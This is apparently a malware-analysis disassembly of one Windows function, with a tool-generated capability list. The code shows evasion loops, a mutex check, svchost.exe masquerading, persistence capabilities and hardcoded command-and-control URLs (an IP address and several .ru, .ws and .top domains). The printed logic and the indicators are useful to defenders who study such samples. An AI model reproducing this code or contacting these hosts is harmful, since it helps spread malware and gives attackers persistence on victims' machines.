Function at 0x402ae0
Capabilities:
Check if file exists
Check mutex and terminate process on windows
Check mutex on windows
Copy file
Create directory
Create http request
Create thread
Delete file
Hide graphical window
Move file
Persist via run registry key
Persist via windows service
Query environment variable
Reference http user-agent string
Set file attributes
Set registry value
Terminate process

Disassembly:
push ebp
mov ebp, esp
mov eax, 0x1144
call fcn.00405640
push esi
push edi
push 0x7d0
call dword [sym.imp.KERNEL32.dll_Sleep]
mov dword [ebp - 0x510], 0
mov dword [ebp - 0xa30], 0x236e
mov eax, dword [ebp - 0x510]
cmp eax, dword [ebp - 0xa30]
jae 0x403482
push 0
push str.3r3rq3r33r3rq3r33r3rq3r33r3rq3r3
call dword [sym.imp.USER32.dll_FindWindowA]
mov dword [ebp - 0x1048], eax
cmp dword [ebp - 0x1048], 0
je 0x403339
push 0x2328
call dword [sym.imp.KERNEL32.dll_Sleep]
push str.nw55n5nww5n5nww5nw5n5n5n5n
push str.3r37grg73g7e37geg73g7eg73g7e
call dword [sym.imp.KERNEL32.dll_MoveFileW]
push 0x3e8
call dword [sym.imp.KERNEL32.dll_Sleep]
push str.3r37grg73g7e37geg73g7eg73g7e
call dword [sym.imp.KERNEL32.dll_DeleteFileW]
push 0x2328
call dword [sym.imp.KERNEL32.dll_Sleep]
push str.nw55n5nww5n5nww5nw5n5n5n5n
push str.3r37grg73g7e37geg73g7eg73g7e
call dword [sym.imp.KERNEL32.dll_MoveFileW]
mov dword [ebp - 0x106c], 0
jmp 0x402ba7
mov ecx, dword [ebp - 0x106c]
add ecx, 1
mov dword [ebp - 0x106c], ecx
cmp dword [ebp - 0x106c], 0x384
jge 0x402c49
push str.3r3rq3r33r3rq3r33r3rq3r33r3rq3r3
push str.wgg4gwg4wgw4w4gw4gw4g4wghw4h
call dword [sym.imp.KERNEL32.dll_MoveFileA]
push 0xfa0
call dword [sym.imp.KERNEL32.dll_Sleep]
push str.3rm3mrk3kmr3mrl3mrm3mr3lmmrl3m
push str.w4fw4fw4fw4fw4fw4fw4fw4fw4fw4fw4fw4fw4f
call dword [sym.imp.KERNEL32.dll_MoveFileW]
push 0xbb8
call dword [sym.imp.KERNEL32.dll_Sleep]
push str.3r37grg73g7e37geg73g7eg73g7e
call dword [sym.imp.KERNEL32.dll_DeleteFileW]
push 0x7d0
call dword [sym.imp.KERNEL32.dll_Sleep]
push str.3r37grg73g7e37geg73g7eg73g7e
call dword [sym.imp.KERNEL32.dll_DeleteFileW]
push str.nw55n5nww5n5nww5nw5n5n5n5n
push str.3r37grg73g7e37geg73g7eg73g7e
call dword [sym.imp.KERNEL32.dll_MoveFileW]
push str.nw55n5nww5n5nww5nw5n5n5n5n
push str.3r37grg73g7e37geg73g7eg73g7e
call dword [sym.imp.KERNEL32.dll_MoveFileW]
push 0xfa0
call dword [sym.imp.KERNEL32.dll_Sleep]
push str.3r3rq3r33r3rq3r33r3rq3r33r3rq3r3
call dword [sym.imp.KERNEL32.dll_DeleteFileA]
jmp 0x402b98
push 0x3e8
call dword [sym.imp.KERNEL32.dll_Sleep]
push str.w4fw4fw4fw4fw4fw4fw4fw4fw4fw4fw4fw4fw4f
call dword [sym.imp.KERNEL32.dll_DeleteFileW]
push 0x1770
call dword [sym.imp.KERNEL32.dll_Sleep]
push str.nw55n5nww5n5nww5nw5n5n5n5n
push str.3r37grg73g7e37geg73g7eg73g7e
call dword [sym.imp.KERNEL32.dll_MoveFileW]
push str.3r37grg73g7e37geg73g7eg73g7e
call dword [sym.imp.KERNEL32.dll_DeleteFileW]
push str.nw55n5nww5n5nww5nw5n5n5n5n
push str.3r37grg73g7e37geg73g7eg73g7e
call dword [sym.imp.KERNEL32.dll_MoveFileW]
push 0x1388
call dword [sym.imp.KERNEL32.dll_Sleep]
push str.3r37grg73g7e37geg73g7eg73g7e
call dword [sym.imp.KERNEL32.dll_DeleteFileW]
push str.nw55n5nww5n5nww5nw5n5n5n5n
push str.3r37grg73g7e37geg73g7eg73g7e
call dword [sym.imp.KERNEL32.dll_MoveFileW]
push 0
push 0
push 0
push 0
push str.Mozilla_5.0__Windows_NT_10.0__Win64__x64__AppleWebKit_537.36__KHTML__like_Gecko__Chrome_87.0.4280.88_Safari_537.36
call dword [sym.imp.WININET.dll_InternetOpenA]
mov dword [ebp - 0x1060], eax
push str.3rm3mrk3kmr3mrl3mrm3mr3lmmrl3m
call dword [sym.imp.KERNEL32.dll_DeleteFileW]
cmp dword [ebp - 0x1060], 0
je 0x402df4
push str.3r37grg73g7e37geg73g7eg73g7e
call dword [sym.imp.KERNEL32.dll_DeleteFileW]
push str.nw55n5nww5n5nww5nw5n5n5n5n
push str.3r37grg73g7e37geg73g7eg73g7e
call dword [sym.imp.KERNEL32.dll_MoveFileW]
push str.3r3rq3r33r3rq3r33r3rq3r33r3rq3r3
push str.wgg4gwg4wgw4w4gw4gw4g4wghw4h
call dword [sym.imp.KERNEL32.dll_MoveFileA]
push 0x1388
call dword [sym.imp.KERNEL32.dll_Sleep]
push str.3rm3mrk3kmr3mrl3mrm3mr3lmmrl3m
call dword [sym.imp.KERNEL32.dll_DeleteFileW]
push 0xbb8
call dword [sym.imp.KERNEL32.dll_Sleep]
push str.w4fw4fw4fw4fw4fw4fw4fw4fw4fw4fw4fw4fw4f
call dword [sym.imp.KERNEL32.dll_DeleteFileW]
push 0
push 0
push 0
push 0
push str.http:__www.mail.ru_
mov edx, dword [ebp - 0x1060]
push edx
call dword [sym.imp.WININET.dll_InternetOpenUrlA]
mov dword [ebp - 0x1054], eax
push 0x7d0
call dword [sym.imp.KERNEL32.dll_Sleep]
cmp dword [ebp - 0x1054], 0
je 0x402ddc
mov dword [ebp - 0x1070], 0
jmp 0x402d92
mov eax, dword [ebp - 0x1070]
add eax, 1
mov dword [ebp - 0x1070], eax
cmp dword [ebp - 0x1070], 0x320
jge 0x402ddc
push str.3r37grg73g7e37geg73g7eg73g7e
call dword [sym.imp.KERNEL32.dll_DeleteFileW]
push 0x7d0
call dword [sym.imp.KERNEL32.dll_Sleep]
push str.3r3rq3r33r3rq3r33r3rq3r33r3rq3r3
push str.wgg4gwg4wgw4w4gw4gw4g4wghw4h
call dword [sym.imp.KERNEL32.dll_MoveFileA]
push 0xfa0
call dword [sym.imp.KERNEL32.dll_Sleep]
push str.3r3rq3r33r3rq3r33r3rq3r33r3rq3r3
call dword [sym.imp.KERNEL32.dll_DeleteFileA]
jmp 0x402d83
mov ecx, dword [ebp - 0x1054]
push ecx
call dword [sym.imp.WININET.dll_InternetCloseHandle]
push str.w4fw4fw4fw4fw4fw4fw4fw4fw4fw4fw4fw4fw4f
call dword [sym.imp.KERNEL32.dll_DeleteFileW]
push 0x1b58
call dword [sym.imp.KERNEL32.dll_Sleep]
push str.w4fw4fw4fw4fw4fw4fw4fw4fw4fw4fw4fw4fw4f
call dword [sym.imp.KERNEL32.dll_DeleteFileW]
push str.nw55n5nww5n5nww5nw5n5n5n5n
push str.3r37grg73g7e37geg73g7eg73g7e
call dword [sym.imp.KERNEL32.dll_MoveFileW]
mov edx, dword [ebp - 0x1060]
push edx
call dword [sym.imp.WININET.dll_InternetCloseHandle]
push 0x2710
call dword [sym.imp.KERNEL32.dll_Sleep]
push str.nw55n5nww5n5nww5nw5n5n5n5n
push str.3r37grg73g7e37geg73g7eg73g7e
call dword [sym.imp.KERNEL32.dll_MoveFileW]
push str.3r37grg73g7e37geg73g7eg73g7e
call dword [sym.imp.KERNEL32.dll_DeleteFileW]
push 1
mov eax, dword [ebp - 0x1048]
push eax
call dword [sym.imp.USER32.dll_ShowWindow]
mov ecx, dword [ebp - 0x1048]
push ecx
call dword [sym.imp.USER32.dll_SetForegroundWindow]
push str.3r37grg73g7e37geg73g7eg73g7e
call dword [sym.imp.KERNEL32.dll_DeleteFileW]
mov edx, dword [ebp - 0x1048]
push edx
call dword [sym.imp.USER32.dll_CloseWindow]
push str.4tt4t4wwt44t4tw4tw4wt4tw4t
push str.3r3rq3r33r3rq3r33r3rq3r33r3rq3r3
call dword [sym.imp.KERNEL32.dll_MoveFileA]
mov dword [ebp - 0x1068], 0x37
mov dword [ebp - 0x1058], 0x2c
mov eax, dword [ebp - 0x1068]
add eax, dword [ebp - 0x1058]
mov dword [ebp - 0x1064], eax
cmp dword [ebp - 0x1064], 0xc8
jge 0x40314a
push str.nw55n5nww5n5nww5nw5n5n5n5n
push str.3r37grg73g7e37geg73g7eg73g7e
call dword [sym.imp.KERNEL32.dll_MoveFileW]
push str.3r37grg73g7e37geg73g7eg73g7e
call dword [sym.imp.KERNEL32.dll_DeleteFileW]
push str.nw55n5nww5n5nww5nw5n5n5n5n
push str.3r37grg73g7e37geg73g7eg73g7e
call dword [sym.imp.KERNEL32.dll_MoveFileW]
push 0x7d0
call dword [sym.imp.KERNEL32.dll_Sleep]
push str.3r37grg73g7e37geg73g7eg73g7e
call dword [sym.imp.KERNEL32.dll_DeleteFileW]
push str.4tt4t4wwt44t4tw4tw4wt4tw4t
call dword [sym.imp.KERNEL32.dll_DeleteFileA]
push 0
push str.2uu5uii55i5i25i52i5ii2525i5i25i
call dword [sym.imp.USER32.dll_FindWindowA]
mov dword [ebp - 0x1074], eax
push 0
push 0
push 0
push 0
push str.Mozilla_5.0__Windows_NT_10.0__Win64__x64__AppleWebKit_537.36__KHTML__like_Gecko__Chrome_87.0.4280.88_Safari_537.36
call dword [sym.imp.WININET.dll_InternetOpenA]
mov dword [ebp - 0x1060], eax
cmp dword [ebp - 0x1060], 0
je 0x40300a
push 0x7d0
call dword [sym.imp.KERNEL32.dll_Sleep]
push str.nw55n5nww5n5nww5nw5n5n5n5n
push str.3r37grg73g7e37geg73g7eg73g7e
call dword [sym.imp.KERNEL32.dll_MoveFileW]
push str.3r37grg73g7e37geg73g7eg73g7e
call dword [sym.imp.KERNEL32.dll_DeleteFileW]
push 0
push 0
push 0
push 0
push str.http:__www.mail.ru_
mov ecx, dword [ebp - 0x1060]
push ecx
call dword [sym.imp.WININET.dll_InternetOpenUrlA]
mov dword [ebp - 0x1054], eax
cmp dword [ebp - 0x1054], 0
je 0x402ff2
push str.3r37grg73g7e37geg73g7eg73g7e
call dword [sym.imp.KERNEL32.dll_DeleteFileW]
push 0x1388
call dword [sym.imp.KERNEL32.dll_Sleep]
push str.3r3rq3r33r3rq3r33r3rq3r33r3rq3r3
call dword [sym.imp.KERNEL32.dll_DeleteFileA]
push str.nw55n5nww5n5nww5nw5n5n5n5n
push str.w4fw4fw4fw4fw4fw4fw4fw4fw4fw4fw4fw4fw4f
call dword [sym.imp.KERNEL32.dll_MoveFileW]
push str.3r3rq3r33r3rq3r33r3rq3r33r3rq3r3
push str.wgg4gwg4wgw4w4gw4gw4g4wghw4h
call dword [sym.imp.KERNEL32.dll_MoveFileA]
push 0xfa0
call dword [sym.imp.KERNEL32.dll_Sleep]
push str.w4fw4fw4fw4fw4fw4fw4fw4fw4fw4fw4fw4fw4f
call dword [sym.imp.KERNEL32.dll_DeleteFileW]
mov edx, dword [ebp - 0x1054]
push edx
call dword [sym.imp.WININET.dll_InternetCloseHandle]
push 0xdac
call dword [sym.imp.KERNEL32.dll_Sleep]
mov eax, dword [ebp - 0x1060]
push eax
call dword [sym.imp.WININET.dll_InternetCloseHandle]
push 0x1388
call dword [sym.imp.KERNEL32.dll_Sleep]
cmp dword [ebp - 0x1074], 0
je 0x40314a
push 0
mov ecx, dword [ebp - 0x1074]
push ecx
call dword [sym.imp.USER32.dll_ShowWindow]
push str.3r37grg73g7e37geg73g7eg73g7e
call dword [sym.imp.KERNEL32.dll_DeleteFileW]
mov edx, dword [ebp - 0x1074]
push edx
call dword [sym.imp.USER32.dll_SetForegroundWindow]
push 0xdac
call dword [sym.imp.KERNEL32.dll_Sleep]
push 0
push 0
push 0
push 0
push str.Mozilla_5.0__Windows_NT_10.0__Win64__x64__AppleWebKit_537.36__KHTML__like_Gecko__Chrome_87.0.4280.88_Safari_537.36
call dword [sym.imp.WININET.dll_InternetOpenA]
mov dword [ebp - 0x1060], eax
cmp dword [ebp - 0x1060], 0
je 0x40313d
push 0
push 0
push 0
push 0
push str.http:__www.mail.ru_
mov eax, dword [ebp - 0x1060]
push eax
call dword [sym.imp.WININET.dll_InternetOpenUrlA]
mov dword [ebp - 0x1054], eax
cmp dword [ebp - 0x1054], 0
je 0x4030ec
push str.3r37grg73g7e37geg73g7eg73g7e
call dword [sym.imp.KERNEL32.dll_DeleteFileW]
push 0x1388
call dword [sym.imp.KERNEL32.dll_Sleep]
push str.nw55n5nww5n5nww5nw5n5n5n5n
push str.3r37grg73g7e37geg73g7eg73g7e
call dword [sym.imp.KERNEL32.dll_MoveFileW]
push 0xbb8
call dword [sym.imp.KERNEL32.dll_Sleep]
push str.w4fw4fw4fw4fw4fw4fw4fw4fw4fw4fw4fw4fw4f
call dword [sym.imp.KERNEL32.dll_DeleteFileW]
mov ecx, dword [ebp - 0x1054]
push ecx
call dword [sym.imp.WININET.dll_InternetCloseHandle]
push str.3r37grg73g7e37geg73g7eg73g7e
call dword [sym.imp.KERNEL32.dll_DeleteFileW]
push 0x64
call dword [sym.imp.KERNEL32.dll_Sleep]
push str.3r3rq3r33r3rq3r33r3rq3r33r3rq3r3
push str.wgg4gwg4wgw4w4gw4gw4g4wghw4h
call dword [sym.imp.KERNEL32.dll_MoveFileA]
push str.3r37grg73g7e37geg73g7eg73g7e
call dword [sym.imp.KERNEL32.dll_DeleteFileW]
push str.4tt4t4wwt44t4tw4tw4wt4tw4t
call dword [sym.imp.KERNEL32.dll_DeleteFileA]
push 0x7d0
call dword [sym.imp.KERNEL32.dll_Sleep]
mov edx, dword [ebp - 0x1060]
push edx
call dword [sym.imp.WININET.dll_InternetCloseHandle]
mov dword [ebp - 0x105c], 0xf84b
mov dword [ebp - 0x104c], 0x164
mov eax, dword [ebp - 0x105c]
cmp eax, dword [ebp - 0x104c]
jbe 0x4031e3
push 0
push str.4tt4t4wwt44t4tw4tw4wt4tw4t
call dword [sym.imp.USER32.dll_FindWindowA]
mov dword [ebp - 0x1078], eax
cmp dword [ebp - 0x1078], 0
je 0x4031de
push 0x7d0
call dword [sym.imp.KERNEL32.dll_Sleep]
push str.3r37grg73g7e37geg73g7eg73g7e
call dword [sym.imp.KERNEL32.dll_DeleteFileW]
push str.nw55n5nww5n5nww5nw5n5n5n5n
push str.3r37grg73g7e37geg73g7eg73g7e
call dword [sym.imp.KERNEL32.dll_MoveFileW]
push 0x1388
call dword [sym.imp.KERNEL32.dll_Sleep]
push str.w4fw4fw4fw4fw4fw4fw4fw4fw4fw4fw4fw4fw4f
call dword [sym.imp.KERNEL32.dll_DeleteFileW]
push 0x1388
call dword [sym.imp.KERNEL32.dll_Sleep]
mov ecx, dword [ebp - 0x104c]
add ecx, 1
mov dword [ebp - 0x104c], ecx
jmp 0x40315e
push str.2uu5uii55i5i25i52i5ii2525i5i25i
call dword [sym.imp.SHLWAPI.dll_PathFileExistsA]
test eax, eax
je 0x40322e
push str.3r3rq3r33r3rq3r33r3rq3r33r3rq3r3
call dword [sym.imp.KERNEL32.dll_DeleteFileA]
push 0xfa0
call dword [sym.imp.KERNEL32.dll_Sleep]
push str.w4fw4fw4fw4fw4fw4fw4fw4fw4fw4fw4fw4fw4f
call dword [sym.imp.KERNEL32.dll_DeleteFileW]
push 0x1f4
call dword [sym.imp.KERNEL32.dll_Sleep]
push str.3rm3mrk3kmr3mrl3mrm3mr3lmmrl3m
push str.w4fw4fw4fw4fw4fw4fw4fw4fw4fw4fw4fw4fw4f
call dword [sym.imp.KERNEL32.dll_MoveFileW]
push 0
push str.3ru38ur8u3yu38uy38uy3ur
call dword [sym.imp.USER32.dll_FindWindowA]
mov dword [ebp - 0x1050], eax
cmp dword [ebp - 0x1050], 0
je 0x4032f5
push 0x1388
call dword [sym.imp.KERNEL32.dll_Sleep]
push str.w4fw4fw4fw4fw4fw4fw4fw4fw4fw4fw4fw4fw4f
call dword [sym.imp.KERNEL32.dll_DeleteFileW]
mov edx, dword [ebp - 0x1048]
push edx
call dword [sym.imp.USER32.dll_SetForegroundWindow]
push str.3rm3mrk3kmr3mrl3mrm3mr3lmmrl3m
push str.w4fw4fw4fw4fw4fw4fw4fw4fw4fw4fw4fw4fw4f
call dword [sym.imp.KERNEL32.dll_MoveFileW]
push 1
mov eax, dword [ebp - 0x1048]
push eax
call dword [sym.imp.USER32.dll_ShowWindow]
push 0x1f4
call dword [sym.imp.KERNEL32.dll_Sleep]
push 1
mov ecx, dword [ebp - 0x1048]
push ecx
call dword [sym.imp.USER32.dll_ShowWindow]
push 0x3a98
call dword [sym.imp.KERNEL32.dll_Sleep]
push str.2uu5uii55i5i25i52i5ii2525i5i25i
push str.wgg4gwg4wgw4w4gw4gw4g4wghw4h
call dword [sym.imp.KERNEL32.dll_MoveFileA]
push str.3r3rq3r33r3rq3r33r3rq3r33r3rq3r3
call dword [sym.imp.KERNEL32.dll_DeleteFileA]
push 0
mov edx, dword [ebp - 0x1048]
push edx
call dword [sym.imp.USER32.dll_ShowWindow]
push 0x1f4
call dword [sym.imp.KERNEL32.dll_Sleep]
push str.3r37grg73g7e37geg73g7eg73g7e
call dword [sym.imp.KERNEL32.dll_DeleteFileW]
mov dword [ebp - 0x107c], 0
jmp 0x403310
mov eax, dword [ebp - 0x107c]
add eax, 1
mov dword [ebp - 0x107c], eax
cmp dword [ebp - 0x107c], 0x320
jge 0x403339
push 0x1388
call dword [sym.imp.KERNEL32.dll_Sleep]
push str.w4fw4fw4fw4fw4fw4fw4fw4fw4fw4fw4fw4fw4f
push str.nw55n5nww5n5nww5nw5n5n5n5n
call dword [sym.imp.KERNEL32.dll_MoveFileW]
jmp 0x403301
push str.3r37grg73g7e37geg73g7eg73g7e
call dword [sym.imp.SHLWAPI.dll_PathFileExistsW]
test eax, eax
je 0x40346e
mov dword [ebp - 0x1084], 0
jmp 0x403367
mov ecx, dword [ebp - 0x1084]
add ecx, 1
mov dword [ebp - 0x1084], ecx
cmp dword [ebp - 0x1084], 0xfa0
jge 0x403385
push str.w4fw4fw4fw4fw4fw4fw4fw4fw4fw4fw4fw4fw4f
push str.nw55n5nww5n5nww5nw5n5n5n5n
call dword [sym.imp.KERNEL32.dll_MoveFileW]
jmp 0x403358
push 0x1388
call dword [sym.imp.KERNEL32.dll_Sleep]
push 0
push str.4tt4t4wwt44t4tw4tw4wt4tw4t
call dword [sym.imp.USER32.dll_FindWindowA]
mov dword [ebp - 0x1080], eax
cmp dword [ebp - 0x1080], 0
je 0x40341f
push str.3r3rq3r33r3rq3r33r3rq3r33r3rq3r3
call dword [sym.imp.KERNEL32.dll_DeleteFileA]
mov edx, dword [ebp - 0x1048]
push edx
call dword [sym.imp.USER32.dll_SetForegroundWindow]
push str.w4fw4fw4fw4fw4fw4fw4fw4fw4fw4fw4fw4fw4f
push str.nw55n5nww5n5nww5nw5n5n5n5n
call dword [sym.imp.KERNEL32.dll_MoveFileW]
push 0
push str.4tt4t4wwt44t4tw4tw4wt4tw4t
push str.3r3rq3r33r3rq3r33r3rq3r33r3rq3r3
call dword [sym.imp.KERNEL32.dll_CopyFileA]
push str.3r3rq3r33r3rq3r33r3rq3r33r3rq3r3
call dword [sym.imp.KERNEL32.dll_DeleteFileA]
mov eax, dword [ebp - 0x1048]
push eax
call dword [sym.imp.USER32.dll_SetFocus]
push str.3r37grg73g7e37geg73g7eg73g7e
call dword [sym.imp.KERNEL32.dll_DeleteFileW]
push str.3r37grg73g7e37geg73g7eg73g7e
call dword [sym.imp.KERNEL32.dll_DeleteFileW]
push 0xbb8
call dword [sym.imp.KERNEL32.dll_Sleep]
mov dword [ebp - 0x1088], 0
jmp 0x40343a
mov ecx, dword [ebp - 0x1088]
add ecx, 1
mov dword [ebp - 0x1088], ecx
cmp dword [ebp - 0x1088], 0x384
jge 0x40346e
push str.3r37grg73g7e37geg73g7eg73g7e
call dword [sym.imp.KERNEL32.dll_DeleteFileW]
push 0x1388
call dword [sym.imp.KERNEL32.dll_Sleep]
push str.w4fw4fw4fw4fw4fw4fw4fw4fw4fw4fw4fw4fw4f
push str.nw55n5nww5n5nww5nw5n5n5n5n
call dword [sym.imp.KERNEL32.dll_MoveFileW]
jmp 0x40342b
mov edx, dword [ebp - 0x510]
add edx, 1
mov dword [ebp - 0x510], edx
jmp 0x402b0e
push 0x1f4
call dword [sym.imp.KERNEL32.dll_Sleep]
call fcn.00402940
movzx eax, al
cmp eax, 1
je 0x4034a7
call fcn.004028f0
movzx ecx, al
cmp ecx, 1
jne 0x4034af
push 0
call dword [sym.imp.KERNEL32.dll_ExitProcess]
mov edx, dword [str.ffnnnb4n]
mov dword [ebp - 0x50c], edx
mov eax, dword [0x407014]
mov dword [ebp - 0x508], eax
mov cl, byte [0x407018]
mov byte [ebp - 0x504], cl
mov edx, dword [str.svchost.exe]
mov dword [ebp - 0xa2c], edx
mov eax, dword [0x407020]
mov dword [ebp - 0xa28], eax
mov ecx, dword [0x407024]
mov dword [ebp - 0xa24], ecx
mov edx, dword [0x407028]
mov dword [ebp - 0xa20], edx
mov eax, dword [0x40702c]
mov dword [ebp - 0xa1c], eax
mov ecx, dword [0x407030]
mov dword [ebp - 0xa18], ecx
mov ecx, 0x11
mov esi, str.Host_Process_for_Windows_Services
lea edi, [ebp - 0x500]
rep movsd dword es:[edi], dword [esi]
mov dword [ebp - 0x7c0], str.http:__185.215.113.10_
mov dword [ebp - 0x7bc], str.http:__tsrv3.ru_
mov dword [ebp - 0x7b8], str.http:__tsrv4.ws_
mov dword [ebp - 0x7b4], str.http:__tsrv5.top_
mov dword [ebp - 0x7b0], str.http:__tldrbox.top_
mov dword [ebp - 0x7ac], str.http:__tldrhaus.top_
mov dword [ebp - 0x7a8], str.http:__tldrzone.top_
mov dword [ebp - 0x7a4], str.http:__worm.ws_
mov dword [ebp - 0x9fc], str.123456
mov dword [ebp - 0x9f8], 0x407124
mov dword [ebp - 0x9f4], 0x407128
mov dword [ebp - 0x9f0], 0x40712c
mov dword [ebp - 0x9ec], 0x407130
mov dword [ebp - 0x9e8], 0x407134
mov dword [ebp - 0x1044], 0x407138
mov dword [ebp - 0x1040], str._userprofile_
mov dword [ebp - 0x103c], str._temp_
mov edx, dword [0x407180]
mov dword [ebp - 0x54c], edx
mov eax, dword [0x407184]
mov dword [ebp - 0x548], eax
mov ecx, dword [0x407188]
mov dword [ebp - 0x544], ecx
mov edx, dword [0x40718c]
mov dword [ebp - 0x540], edx
mov ax, word [0x407190]
mov word [ebp - 0x53c], ax
mov cl, byte [0x407192]
mov byte [ebp - 0x53a], cl
mov ecx, 7
mov esi, 0x407194
lea edi, [ebp - 0x9e4]
rep movsd dword es:[edi], dword [esi]
mov ecx, 6
mov esi, 0x4071b0
lea edi, [ebp - 0x4b8]
rep movsd dword es:[edi], dword [esi]
movsw word es:[edi], word [esi]
mov ecx, 6
mov esi, 0x4071cc
lea edi, [ebp - 0xd5c]
rep movsd dword es:[edi], dword [esi]
movsw word es:[edi], word [esi]
mov ecx, 0xb
mov esi, 0x4071e8
lea edi, [ebp - 0x7a0]
rep movsd dword es:[edi], dword [esi]
movsb byte es:[edi], byte [esi]
mov ecx, 0x10
mov esi, 0x407218
lea edi, [ebp - 0xfe0]
rep movsd dword es:[edi], dword [esi]
movsw word es:[edi], word [esi]
mov edx, dword [0x40725c]
mov dword [ebp - 0x1038], edx
mov eax, dword [0x407260]
mov dword [ebp - 0x1034], eax
mov ecx, dword [0x407264]
mov dword [ebp - 0x1030], ecx
mov edx, dword [0x407268]
mov dword [ebp - 0x102c], edx
mov eax, dword [0x40726c]
mov dword [ebp - 0x1028], eax
mov ecx, dword [0x407270]
mov dword [ebp - 0x770], ecx
mov edx, dword [0x407274]
mov dword [ebp - 0x76c], edx
mov eax, dword [0x407278]
mov dword [ebp - 0x768], eax
mov ecx, dword [0x40727c]
mov dword [ebp - 0x764], ecx
mov dx, word [0x407280]
mov word [ebp - 0x760], dx
mov ecx, 5
mov esi, 0x407284
lea edi, [ebp - 0x1020]
rep movsd dword es:[edi], dword [esi]
movsw word es:[edi], word [esi]
movsb byte es:[edi], byte [esi]
mov eax, dword [0x40729c]
mov dword [ebp - 0x49c], eax
mov ecx, dword [0x4072a0]
mov dword [ebp - 0x498], ecx
mov edx, dword [0x4072a4]
mov dword [ebp - 0x494], edx
mov eax, dword [0x4072a8]
mov dword [ebp - 0x490], eax
mov cl, byte [0x4072ac]
mov byte [ebp - 0x48c], cl
mov edx, dword [0x4072b0]
mov dword [ebp - 0xf80], edx
mov eax, dword [0x4072b4]
mov dword [ebp - 0xf7c], eax
mov ecx, dword [0x4072b8]
mov dword [ebp - 0xf78], ecx
mov edx, dword [0x4072bc]
mov dword [ebp - 0xf74], edx
mov eax, dword [0x4072c0]
mov dword [ebp - 0xf70], eax
mov cx, word [0x4072c4]
mov word [ebp - 0xf6c], cx
mov edx, dword [0x4072c8]
mov dword [ebp - 0xf94], edx
mov eax, dword [0x4072cc]
mov dword [ebp - 0xf90], eax
mov ecx, dword [0x4072d0]
mov dword [ebp - 0xf8c], ecx
mov edx, dword [0x4072d4]
mov dword [ebp - 0xf88], edx
mov al, byte [0x4072d8]
mov byte [ebp - 0xf84], al
mov ecx, dword [0x4072dc]
mov dword [ebp - 0xa14], ecx
mov edx, dword [0x4072e0]
mov dword [ebp - 0xa10], edx
mov eax, dword [0x4072e4]
mov dword [ebp - 0xa0c], eax
mov ecx, dword [0x4072e8]
mov dword [ebp - 0xa08], ecx
mov edx, dword [0x4072ec]
mov dword [ebp - 0xa04], edx
mov ax, word [0x4072f0]
mov word [ebp - 0xa00], ax
mov ecx, 9
mov esi, 0x4072f4
lea edi, [ebp - 0x488]
rep movsd dword es:[edi], dword [esi]
mov ecx, 0xa
mov esi, 0x407318
lea edi, [ebp - 0x1008]
rep movsd dword es:[edi], dword [esi]
mov ecx, dword [0x407340]
mov dword [ebp - 0x464], ecx
mov edx, dword [0x407344]
mov dword [ebp - 0x460], edx
mov ax, word [0x407348]
mov word [ebp - 0x45c], ax
mov cl, byte [0x40734a]
mov byte [ebp - 0x45a], cl
mov ecx, 0x10
mov esi, 0x407350
lea edi, [ebp - 0x458]
rep movsd dword es:[edi], dword [esi]
lea edx, [ebp - 0x50c]
push edx
push 0
push 0
call dword [sym.imp.KERNEL32.dll_CreateMutexA]
mov dword [ebp - 0x1024], eax
call dword [sym.imp.KERNEL32.dll_GetLastError]
cmp eax, 0xb7
jne 0x4038a0
push 0
call dword [sym.imp.KERNEL32.dll_ExitProcess]
mov dword [ebp - 0x75c], 0
mov dword [ebp - 0x20c], 1
mov dword [ebp - 0x538], 0
xor eax, eax
mov dword [ebp - 0x534], eax
mov dword [ebp - 0x530], eax
mov dword [ebp - 0x52c], eax
mov dword [ebp - 0x528], eax
mov dword [ebp - 0x524], eax
mov dword [ebp - 0x520], eax
mov dword [ebp - 0x51c], eax
mov dword [ebp - 0x518], eax
mov dword [ebp - 0x514], eax
mov dword [ebp - 0x510], 0
mov dword [ebp - 0xa30], 0x236e
mov ecx, dword [ebp - 0x510]
cmp ecx, dword [ebp - 0xa30]
jae 0x403f02
push str.3r37grg73g7e37geg73g7eg73g7e
call dword [sym.imp.SHLWAPI.dll_PathFileExistsW]
test eax, eax
je 0x403a3b
push str.3r3rq3r33r3rq3r33r3rq3r33r3rq3r3
push str.wgg4gwg4wgw4w4gw4gw4g4wghw4h
call dword [sym.imp.KERNEL32.dll_MoveFileA]
mov dword [ebp - 0x1094], 0
jmp 0x40395a
mov edx, dword [ebp - 0x1094]
add edx, 1
mov dword [ebp - 0x1094], edx
cmp dword [ebp - 0x1094], 0xbb8
jge 0x403983
push str.3r3rq3r33r3rq3r33r3rq3r33r3rq3r3
push str.wgg4gwg4wgw4w4gw4gw4g4wghw4h
call dword [sym.imp.KERNEL32.dll_MoveFileA]
push str.3r3rq3r33r3rq3r33r3rq3r33r3rq3r3
call dword [sym.imp.KERNEL32.dll_DeleteFileA]
jmp 0x40394b
push 0x7d0
call dword [sym.imp.KERNEL32.dll_Sleep]
push 0
push str.4tt4t4wwt44t4tw4tw4wt4tw4t
call dword [sym.imp.USER32.dll_FindWindowA]
mov dword [ebp - 0x1090], eax
cmp dword [ebp - 0x1090], 0
je 0x4039f2
push str.w4fw4fw4fw4fw4fw4fw4fw4fw4fw4fw4fw4fw4f
push str.nw55n5nww5n5nww5nw5n5n5n5n
call dword [sym.imp.KERNEL32.dll_MoveFileW]
push 0
push str.4tt4t4wwt44t4tw4tw4wt4tw4t
push str.3r3rq3r33r3rq3r33r3rq3r33r3rq3r3
call dword [sym.imp.KERNEL32.dll_CopyFileA]
push str.3rm3mrk3kmr3mrl3mrm3mr3lmmrl3m
push str.w4fw4fw4fw4fw4fw4fw4fw4fw4fw4fw4fw4fw4f
call dword [sym.imp.KERNEL32.dll_MoveFileW]
push str.3r3rq3r33r3rq3r33r3rq3r33r3rq3r3
call dword [sym.imp.KERNEL32.dll_DeleteFileA]
push 0x2710
call dword [sym.imp.KERNEL32.dll_Sleep]
mov dword [ebp - 0x1098], 0
jmp 0x403a0d
mov eax, dword [ebp - 0x1098]
add eax, 1
mov dword [ebp - 0x1098], eax
cmp dword [ebp - 0x1098], 0x9c4
jge 0x403a3b
push str.w4fw4fw4fw4fw4fw4fw4fw4fw4fw4fw4fw4fw4f
push str.nw55n5nww5n5nww5nw5n5n5n5n
call dword [sym.imp.KERNEL32.dll_MoveFileW]
push str.3rm3mrk3kmr3mrl3mrm3mr3lmmrl3m
push str.w4fw4fw4fw4fw4fw4fw4fw4fw4fw4fw4fw4fw4f
call dword [sym.imp.KERNEL32.dll_MoveFileW]
jmp 0x4039fe
push 0
push str.3r3rq3r33r3rq3r33r3rq3r33r3rq3r3
